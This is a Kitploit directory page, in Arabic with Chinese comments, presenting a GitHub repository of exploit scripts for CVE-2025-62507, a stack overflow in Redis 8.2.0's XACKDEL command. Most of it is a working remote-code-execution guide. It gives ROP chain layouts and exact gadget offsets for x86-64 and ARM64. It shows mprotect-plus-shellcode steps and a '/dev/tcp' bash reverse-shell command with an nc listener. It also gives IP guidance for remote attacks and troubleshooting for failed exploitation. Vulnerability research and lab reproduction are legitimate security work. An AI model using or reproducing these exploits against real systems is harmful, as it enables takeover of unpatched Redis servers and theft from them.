Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
redis-cve-2025-62507 — نصوص استغلال لـ CVE-2025-62507، تجاوز سعة المخزن المؤقت للمكدس في Redis 8.2.0. يوفر استغلالات سلسلة ROP لـ x86-64 و ARM64 مع توليد شيلكود لصالات عكسية، بما في ذلك دعم تصحيح GDB وبيئة ضعيفة قائمة على Docker. | Kitploit
أدوات/GitHubGitHub/gartonchan/redis-cve-2025-62507
أمن الحاوياتتحليل الثغرات الأمنيةالاستغلالالهندسة العكسيةشيل كودمصممي الأخطاءالتعلم والتعليمتطوير الحمولاتاستغلال الملفات الثنائية

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
GitHubgartonchan/redis-cve-2025-62507

redis-cve-2025-62507

نصوص استغلال لـ CVE-2025-62507، تجاوز سعة المخزن المؤقت للمكدس في Redis 8.2.0. يوفر استغلالات سلسلة ROP لـ x86-64 و ARM64 مع توليد شيلكود لصالات عكسية، بما في ذلك دعم تصحيح GDB وبيئة ضعيفة قائمة على Docker.

عرض المستودع
3منذ 3 أشهرلم تتم المراجعة بعد

Exploit Scripts — CVE-2025-62507

هيكل الدليل

root@kitploit:~
scripts/
├── exploit_x86.py          # x86-64 ROP exploit
├── exploit_arm64.py        # ARM64 (AArch64) ROP exploit
└── gdb_with_symbols.sh     # GDB 调试辅助脚本

ملخص الثغرة

البندالوصف
CVECVE-2025-62507
نوع الثغرةتجاوز سعة المخزن المؤقت للمكدس (Stack Buffer Overflow)
المكوّن المتأثردالة xackdelCommand في Redis 8.2.0
طريقة الاستغلالأمر XACKDEL مع أكثر من 52 streamID
تقنية الاستغلالسلسلة ROP ← mprotect لإلغاء قفل صلاحيات تنفيذ المكدس ← shellcode لفتح قشرة عكسية (reverse shell)
الاعتمادياتبايثون 3 (مكتبة قياسية فقط، لا يتطلب تثبيتًا إضافيًا)

المتطلبات الأساسية

  1. البيئة المستهدفة: حاوية Docker أو مضيف يشغّل Redis 8.2.0 (الإصدار المُعرَّض للثغرة)
  2. طرفية الاستماع: يجب تشغيل nc -lvnp 4444 على جهاز المهاجم مسبقًا لانتظار القشرة العكسية
  3. صلاحية الحصول على العناوين: يجب أن تكون قادرًا على قراءة /proc/<PID>/maps لعملية الهدف (صلاحيات root)
  4. بايثون 3: يستخدم نصّا الاستغلال المكتبة القياسية فقط (socket, struct, time, sys)

البدء السريع

1. تشغيل حاوية Redis المُعرَّضة للثغرة

root@kitploit:~
# 在项目根目录执行
docker compose -f docker-compose-vulnerable.yml up -d

# 确认容器运行
docker ps | grep redis-cve-2025-62507

2. الحصول على عناوين الذاكرة الحرجة

root@kitploit:~
REDIS_PID=$(docker top redis-cve-2025-62507 | grep redis-server | grep -v bash | awk '{print $2}')

# x86-64 地址获取
REDIS_BASE=$(sudo cat /proc/$REDIS_PID/maps | grep -w redis-server | head -1 | cut -d'-' -f1)
LIBC_BASE=$(sudo cat /proc/$REDIS_PID/maps | grep libc.so | head -1 | cut -d'-' -f1)
STACK_ADDR=$(sudo cat /proc/$REDIS_PID/maps | grep -w stack | head -1 | cut -d'-' -f1)

echo "REDIS_BASE=$REDIS_BASE  LIBC_BASE=$LIBC_BASE  STACK_ADDR=$STACK_ADDR"

ملاحظة: تتغير العناوين بعد كل إعادة تشغيل للحاوية (ASLR)، ويجب إعادة الحصول عليها.

3. تشغيل مستمع القشرة العكسية

root@kitploit:~
# 在宿主机另开一个终端
nc -lvnp 4444

4. تشغيل الاستغلال

root@kitploit:~
# x86-64
python3 scripts/exploit_x86.py 0x$REDIS_BASE 0x$LIBC_BASE 0x$STACK_ADDR

# ARM64 (Docker QEMU 固定地址, ASLR=OFF)
python3 scripts/exploit_arm64.py 0xaaaaaaaa0000 0xfffff7630000 0xfffffffff7e0 [rev_host] [rev_port] [target]

exploit_x86.py — x86-64 ROP Exploit

الاستخدام

root@kitploit:~
python3 scripts/exploit_x86.py <redis_base> <libc_base> <stack_addr>

شرح المعاملات

بنية سلسلة ROP

root@kitploit:~
52 个填充 ID (1-1)
  │
  ▼
ID#53  overflow ──→ pop rdi; ret     (redis + 0x82327)
ID#54             ──→ pop rsi; ret     (redis + 0x86416)
ID#55             ──→ pop rdx; ret     (redis + 0xba1e2)
ID#56             ──→ mprotect()       (libc  + 0x1019e0)
ID#57             ──→ call rsp         (redis + 0x9486d)
ID#58+            ──→ shellcode ──→ system("/bin/bash -c '...'")

إزاحات Gadget (redis-server-8.2.0)

تخصيص عنوان القشرة العكسية

متغير reverse_shell_cmd معرّف في السطر 149 من السكربت، وقيمته الافتراضية كما يلي:

root@kitploit:~
reverse_shell_cmd = "/bin/bash -c '/bin/bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'"

طريقة التعديل: حرّر exploit_x86.py، وابحث عن سطر reverse_shell_cmd، واستبدل IP والمنفذ:

تعديل المنفذ: استبدل 4444 في /dev/tcp/<IP>/4444 بمنفذ الاستماع الفعلي.

يتم حساب stack_page ديناميكيًا بناءً على معامل stack_addr: (stack_addr + 0x1000) & ~0xFFF، لضمان أن نافذة mprotect تغطي منطقة المكدس التي يوجد بها shellcode. إذا كان تخطيط المكدس غير طبيعي، يجب تعديله بالتزامن.


exploit_arm64.py — ARM64 ROP Exploit

الاستخدام

root@kitploit:~
python3 scripts/exploit_arm64.py <redis_base> <libc_base> <stack_addr> [rev_host] [rev_port] [target]

شرح المعاملات

ملاحظة خاصة بـ ARM64: stack_addr هو قيمة SP عند دخول xackdelCommand (وليست عنوان بداية مقطع [stack]!). static_ids[0] = stack_addr - 0x310، وx30 المحفوظ في call() يقع عند stack_addr + 8 (أي static_ids[49].seq).

بنية سلسلة ROP

root@kitploit:~
49 个填充 ID (1-1)
  │
  ▼
ID#49-58  call() 尾声帧 (10 IDs) — 覆盖 call() 保存的寄存器和局部变量
  │  #49: saved x29 (dummy) + x30 (G5)
  │  #50: saved x19/x20, #51: saved x21(=0)/x22
  │  #52: x23/x24, #53: x25/x26, #54: x27/x28
  │  #55-58: 局部变量 (设为 0)
  │
  ▼  call() ret → SP = stack_addr + 0xa0
  │
ID#59-61  Step 1: G5              (redis + 0x1a4d40)  x0=writable,    → G_SET_X2_7
ID#62-65  Step 2: G_SET_X2_7      (redis + 0x1d7a84)  w2=7,           → LDR_X1_SIDELOAD
ID#66-67  Step 3: LDR_X1_SIDELOAD (libc  + 0x34ab4)   x1=0x1000,      → G5
ID#68-70  Step 4: G5              (redis + 0x1a4d40)  x19=mprotect,   → MOV_X3_X19
ID#71-93  Step 5: MOV_X3_X19      (redis + 0x2948b0)  x3=mprotect,    → LDR_X0_CLEAN
ID#94-95  Step 6: LDR_X0_CLEAN    (libc  + 0x6ae40)   x0=stack_page,  → BLR_X3
ID#96-98  Step 7: BLR_X3          (redis + 0x92bc4)   call mprotect   → shellcode
ID#99+    shellcode — system("/bin/bash -c 'reverse_shell_cmd'")

الأساسي: الخاتمة (epilogue) الدالة call() تستعيد x19-x28 وتقرأ عدة متغيرات محلية من المكدس قبل ret. يجب ملء ID#49-58 بقيم آمنة وإلا سينهار التنفيذ أثناء الخاتمة. تبدأ سلسلة ROP من ID#59 (موضع SP بعد ret الخاص بـ call()).

إزاحات Gadget (redis-server-8.2.0-arm64)

إزاحات Gadget (libc.so.6-arm64، داخل حاوية Docker)

ملاحظة: LDR_X1_SIDELOAD له أثر جانبي mov x0, x1، وبعد تنفيذه سيتم استبدال x0 بـ x1! يجب لاحقًا إعادة تعيين x0 باستخدام G5 أو LDR_X0_CLEAN.

تخصيص عنوان القشرة العكسية

يتم بناء reverse_shell_cmd ديناميكيًا في دالة build_exploit_arm64()، استنادًا إلى المعاملين rev_shell_host و rev_shell_port:

root@kitploit:~
reverse_shell_cmd = f"/bin/bash -c '/bin/bash -i >& /dev/tcp/{rev_shell_host}/{rev_shell_port} 0>&1'"

الطريقة الموصى بها: تحديد عنوان القشرة العكسية عبر معاملات سطر الأوامر:

root@kitploit:~
# 默认: 192.168.1.1:4444 → 192.168.1.129:6379
python3 scripts/exploit_arm64.py 0xaaaaaaaa0000 0xfffff7630000 0xfffffffff7e0

# 自定义反弹地址和端口:
python3 scripts/exploit_arm64.py 0xaaaaaaaa0000 0xfffff7630000 0xfffffffff7e0 10.0.0.1 9999 10.0.0.100
#                                                                    ^^^^^^^^ ^^^^ ^^^^^^^^^^
#                                                                    rev_host rev_port target

التعديل المباشر: حرّر exploit_arm64.py، وعدّل القيم الافتراضية لمعاملات دالة exploit():


تصحيح الأخطاء باستخدام GDB

استخدام gdb_with_symbols.sh

root@kitploit:~
# 获取 Redis PID
REDIS_PID=$(docker top redis-cve-2025-62507 | grep redis-server | grep -v bash | awk '{print $2}')

# 启动 GDB 并自动设置断点
./scripts/gdb_with_symbols.sh $REDIS_PID

سينفّذ السكربت تلقائيًا:

  1. تحميل جدول الرموز من binaries/redis-server-8.2.0
  2. تعيين نقطة توقف عند xackdelCommand
  3. تعيين نقطة توقف عند mprotect
  4. تعيين نقطة توقف عند system

مواقع نقاط التوقف الحرجة

root@kitploit:~
# xackdelCommand 入口 — 观察正常栈布局
break xackdelCommand

# 第 53 个 streamID 写入后 — 观察返回地址被覆写
# (在循环体内设置条件断点)

# mprotect 调用前 — 验证参数 rdi/rsi/rdx
break mprotect

# system 调用前 — 验证 rdi 指向命令字符串
break system

التحقق من الخطوات الأساسية للاستغلال

root@kitploit:~
# 1. 进入 xackdelCommand 后,找到 static_ids 数组位置
(gdb) x/10gx $rbp - 0x340      # x86-64
(gdb) x/10gx $sp                # ARM64

# 2. mprotect 断点触发时,验证参数
(gdb) info registers rdi rsi rdx   # x86-64
(gdb) info registers x0 x1 x2      # ARM64

# 预期: rdi/x0=stack_page, rsi/x1=0x20000, rdx/x2=7

# 3. mprotect 返回后,检查 RAX/X0 (=0 表示成功)
(gdb) finish
(gdb) info registers rax           # x86-64
(gdb) info registers x0            # ARM64

# 4. 观察 shellcode 执行
(gdb) x/20i $rsp                   # x86-64: call rsp 后的 shellcode
(gdb) x/20i $x30                   # ARM64: 跳转前的返回地址

استكشاف الأخطاء وإصلاحها


تنظيف البيئة

root@kitploit:~
# 停止并删除容器
docker compose -f docker-compose-vulnerable.yml down

مراجع الملفات

تنزيل الأداة
المعاملالمعنىطريقة الحصول عليهقيمة مثال
redis_baseالعنوان الأساسي لملف ELF الخاص بـ redis-serverعنوان بداية المقطع الأول من redis-server في /proc/PID/maps0x555555554000
libc_baseالعنوان الأساسي لمكتبة libc.so.6عنوان بداية المقطع الأول من libc.so في /proc/PID/maps0x7ffff75b3000
stack_addrعنوان بداية مقطع مكدس الخيطعنوان بداية المقطع [stack] في /proc/PID/maps0x7ffffffde000
Gadgetالإزاحةالوصف
pop rdi; ret0x82327تعيين المعامل الأول لـ mprotect (addr)
pop rsi; ret0x86416تعيين المعامل الثاني لـ mprotect (len)
pop rdx; ret0xba1e2تعيين المعامل الثالث لـ mprotect (prot)
call rsp0x9486dالقفز إلى shellcode على المكدس
mprotect (libc)0x1019e0إلغاء قفل صفحة المكدس وجعلها RWX
system (libc)0x4c490تنفيذ أمر القشرة العكسية
السيناريوIPالوصف
شبكة Docker host (الافتراضية)127.0.0.1الحاوية تشترك في مكدس الشبكة مع المضيف، أي أن 127.0.0.1 هو المضيف
شبكة Docker bridge172.17.0.1البوابة الجسرية الافتراضية، وتشير إلى المضيف
هجوم عن بُعد<IP العام لجهاز المهاجم>يجب أن يتمكن الهدف من توجيه الحزم إلى المنفذ المقابل على جهاز المهاجم
المعاملالمعنىطريقة الحصول عليهقيمة مثال
redis_baseالعنوان الأساسي لملف ELF الخاص بـ redis-server-8.2.0-arm64عنوان بداية المقطع الأول من redis-server في /proc/PID/maps0xaaaaaaaa0000
libc_baseالعنوان الأساسي لمكتبة libc.so.6-arm64عنوان بداية المقطع الأول من libc.so في /proc/PID/maps0xfffff7630000
stack_addrقيمة SP عند مدخل xackdelCommand (من تحليل GDB)مراقبة SP عند مدخل xackdelCommand عبر نقطة توقف GDB0xfffffffff7e0
rev_host(اختياري) IP لجهاز المهاجم للقشرة العكسية—192.168.1.1
rev_port(اختياري) منفذ الاستماع للقشرة العكسية—4444
target(اختياري) IP لخادم Redis الهدف—192.168.1.129
Gadgetالإزاحةالوظيفةاستهلاك المكدس
G5 (ldp x19,x20 + ldr x0)0x1a4d40تحميل x19, x0 من المكدس0x30 (3 IDs)
G_SET_X2_70x1d7a84تعيين w2=7, w1=-1 (أثر جانبي)0x40 (4 IDs)
MOV_X3_X190x2948b0x3 = x19 (mprotect)، الكتابة فوق x00x170 (23 IDs)
BLR_X30x92bc4blr x3; استدعاء mprotect0x30 (3 IDs)
Gadgetالإزاحةالوظيفةاستهلاك المكدس
LDR_X1_SIDELOAD0x34ab4ldr x1,[sp,#0x18]; mov x0,x1 (أثر جانبي!)0x20 (2 IDs)
LDR_X0_CLEAN0x6ae40ldr x0,[sp,#0x18]; بدون أثر جانبي0x20 (2 IDs)
mprotect0xe3ac0تعديل صلاحيات الذاكرة-
system0x49c24تنفيذ أوامر shell-
السيناريوIPالوصف
شبكة Docker host127.0.0.1الحاوية تشترك في مكدس الشبكة مع المضيف، أي أن 127.0.0.1 هو المضيف
شبكة Docker bridge172.17.0.1البوابة الجسرية الافتراضية، وتشير إلى المضيف
جهاز QEMU الافتراضي192.168.1.1عنوان المضيف داخل شبكة QEMU
هجوم عن بُعد<IP العام لجهاز المهاجم>يجب أن يتمكن الهدف من توجيه الحزم إلى المنفذ المقابل على جهاز المهاجم
الظاهرةالسبب المحتملطريقة الحل
ConnectionRefusedErrorRedis غير مشغّل أو المنفذ غير صحيحاستخدم docker ps للتأكد من حالة الحاوية، وتحقق من المنفذ 6379
Redis لم ينهار ويرد PONGعدد الحشو غير كافٍ، أو عنوان الإرجاع لم يُستبدلتأكد من استخدام العدد الصحيح من IDs الحشو (x86: 52, ARM64: 49)، وتحقق من تطابق إصدار الملف الثنائي
Redis انهار لكن لا يوجد اتصال مع ncخطأ في حساب العناوينأعد الحصول على /proc/PID/maps، وتحقق من أن إزاحات gadgets تطابق الملف الثنائي المقابل
فشل تحليل streamParseStrictIDOrReplyتنسيق streamID غير صحيحتأكد من استخدام صيغة ms-seq (أعداد صحيحة غير موقعة)، وتجنب الأعداد السالبة التي تنتج -- مزدوجة
mprotect يُرجع قيمة غير 0عنوان المكدس غير محاذى للصفحة أو النطاق غير صالحتحقق من محاذاة stack_page حسب 0x1000
ARM64: انهيار str w2, [x0]x0 الخاص بـ G_SET_X2_7 لا يشير إلى ذاكرة قابلة للكتابةتأكد من أن writable_addr يشير إلى منطقة مكدس مُعبّنة
nc ينقطع بشكل متكررعنوان IP:Port في shellcode غير صحيحعدّل reverse_shell_cmd في السكربت، وغيّر IP إلى عنوان يمكن لجهاز المهاجم الوصول إليه
الملفالوصف
scripts/exploit_x86.pyاستغلال RCE النهائي لمعمارية x86-64
scripts/exploit_arm64.pyاستغلال RCE لمعمارية ARM64 (AArch64)
scripts/gdb_with_symbols.shسكربت مساعد لتحميل الرموز وتعيين نقاط التوقف في GDB
docker-compose-vulnerable.ymlتنسيق حاوية Redis 8.2.0 المُعرَّضة للثغرة
binaries/redis-server-8.2.0ملف Redis ELF الخاص بمعمارية x86-64 (مع جدول الرموز)
binaries/redis-server-8.2.0-arm64ملف Redis ELF الخاص بمعمارية ARM64 (مع جدول الرموز)
binaries/libc.so.6مكتبة libc لمعمارية x86-64
binaries/libc.so.6-arm64مكتبة libc لمعمارية ARM64
docs/X86_CVE-2025-62507_EXPLOITATION_DETAIL.mdشرح تقني كامل لاستغلال ثغرة x86-64
docs/ARM64_GADGET_CATALOG.mdكتالوج كامل لأدوات ROP الخاصة بمعمارية ARM64